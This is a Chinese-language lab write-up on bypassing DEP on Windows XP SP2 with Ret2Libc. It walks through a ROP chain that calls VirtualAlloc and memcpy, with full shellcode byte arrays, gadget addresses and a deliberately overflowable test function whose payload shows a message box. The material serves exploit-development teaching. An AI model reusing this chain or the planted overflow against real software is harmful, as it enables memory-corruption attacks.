目录
一、实验原理
LPVOID WINAPI VirtualAlloc(
__in_opt LPVOID lpAddress, //申请内存区域的地址
__in SIZE_T dwSize, //申请内存区域的大小
__in DWORD flAllocationType, //申请内存的类型
__in DWORD flProtect //申请内存的访问控制类型
);
内存申请成功时,函数返回申请内存的起始地址,申请失败时返回NULL。
关键参数取值如下:
(1)lpAddress=0x00030000,只要选择一个未被占用的地址即可,没有什么特殊要求;
(2)dwSize-0xFF,申请空间的大小可以根据shellcode的长度确定;
(3)flAllocationType=0x00001000,本实验采用该值即可;
(4)flProtect=0x00000040,内存属性设置为可读可写可执行,该属性对应的代码为0x00000040。
由此可以看出,本次实验不需要动态设计参数。
二、实验环境
windows xp sp2、原版OD、DEP状态:Optout、VC++6.0(release)
三、实验代码
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\xBC\x45\x82\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x0B\x1A\xBF\x7C"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn4
"\x5F\x78\xA6\x7C"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址,拷贝用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xAC\xAF\x94\x7C"//memcpy
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x90\x90\x94"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
__asm int 3
test();
return 0;
}
实验思路及代码简要解释:
(1)本次实验不采用GS和SafeSEH;
(2)函数test存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖函数返回地址;
(3)覆盖掉函数返回地址后,通过Ret2Libc技术,利用VirtualAlloc函数申请一段具有执行权限的内存;
(4)通过memcpy函数将shellcode复制到VirtualAlloc函数申请的可执行内存空间中。
四、实验步骤
1、找到VirtualAlloc函数
可知,本机VirtualAlloc()函数的地址为0x7C809AE1。直接选择0x7C809AF4(call VirtualAllocEx)作为切入点。
2、申请可执行内存空间
由于EBP在溢出过程中被破坏,所以第一步依然是修复EBP,我们用PUSH ESP POP EBP RETN 4指令覆盖test函数的返回地址;
在内存中找一条PUSH ESP POP EBP RETN 4指令,这里选0x5D1D8B85。
然后按照VirtualAlloc函数的参数布置一个能够申请可执行内存空间的shellcode,shellcode如下所示:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
;
编译并运行OD,运行到即将进入VIrtualAllochan函数的地方,注意参数在栈帧中的位置;
执行完VirtualAlloc函数;
可以看到申请可执行内存空间成功。
3、将shellcode复制到可执行内存空间
确定memcpy()函数在内存中的地址,memcpy函数位于ntdll.dll:
可知memcpy在0x7C921DB3处。memcpy函数的切入点为0x7C921DB8处。
memcpy函数需要三个参数,依次为目的内存起始地址、源内存起始地址、复制长度,其中目的内存起始地址和复制长度都可以直接写在shellcode中,唯一需要确定的就是源内存起始地址的确定。
具体做法:保证源内存起始地址在shellcode中关键代码的前边即可,因此可以使用PUSH ESP JMP EAX来填充这个参数。将ESP中保存的数据放到memcpy函数的源内存地址这一参数的地方,因为此时ESP的指向一定在shellcode之前,所以就可以保证将shellcode复制到可执行区域。
执行完RETN 10之后,EIP将指向POP EAX RETN,ESP将指向0x0012FEDC处,而0x0012FEDC处就是放一条让EAX指向的特殊指令。暂时不讨论这一指令是什么。
找一条POP EAX RETN指令:
这里用0x7DCED974处的POP EAX RETN。
另外,需要注意:此时EBP已经被覆盖,所以需要二次修复。
大致构造shellcode:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x74\xD9\xCE\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"//eax指向先不确定
"\x85\x8B\x1D\x5D"//修正EBP retn 4
重新编译程序,程序停在修正EBP的位置,查看内存状态:
注意到:EBP+8、EBP+C、EBP+10保存着memcpy的三个参数。我们现在要改变EBP+C的值,也就是让ESP指向0x0012FEF0,再用PUSH RETN就可修改源内存地址这一参数了。
可以看到各个参数的入栈顺序,已经对应的入栈指令。
程序指向retn 4之后,ESP将会指向0x0012FEEC处,所以在Ox0012FEE4处放一个POP RETN指令。这样ESP就可以指向EBP+10处了,再执行push指令,就可以修改源内存地址这一参数了。
找一个POP RETN指令:
选择0x7DC2BD78处的POP ECX RETN指令。
在执行完PUSH操作后,收回控制程序的最佳位置在EBX+0x14,即0x0012FEF8处,在这里执行RETN指令既不会破坏memcpy函数的参数,也可以减少shellcode的长度。
执行PUSH操作后,ESP指向0x0012FEF0处,只需要POP两次,就可以使得ESP指向EBP+0x14的位置,所以JMP EAX中的EAX应该指向类似POP POP RETN的指令序列。然后再EBP+0x14处放置memcpy函数的切入点0x7C921DB3,这样程序就可以转入memcpy函数中执行复制操作了。
找一条POP POP RETN指令:
选择0x7D713C4E处的POP POP RETN指令序列。
PUSH ESP JMP EAX:
地址:0x77EBC6C6
构造shellcode:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x74\xD9\xCE\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x4E\x3C\x71\x7D"//eax指向POP POP RETN
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\x78\xBD\xC2\x7D"//pop retn
"\x90\x90\x90\x90"
"\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
"\xC6\xC6\xEB\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xB8\x1D\x92\x7C"//memcpy
可以看到复制操作的源内存起始地址为0x0012FEF4,这个位置也是memcpy函数的复制长度参数所在位置,所以只要在它后边放置对话框的机器码即可。
4、执行shellcode
构造shellcode:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x74\xD9\xCE\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x4E\x3C\x71\x7D"//eax指向POP POP RETN
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\x78\xBD\xC2\x7D"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址,memcpy参数
"\xC6\xC6\xEB\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xB8\x1D\x92\x7C"//memcpy
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
编译运行,发现虽然复制操作会把一些额外的代码复制过去,但是不影响弹窗,故没深究,直接弹窗了。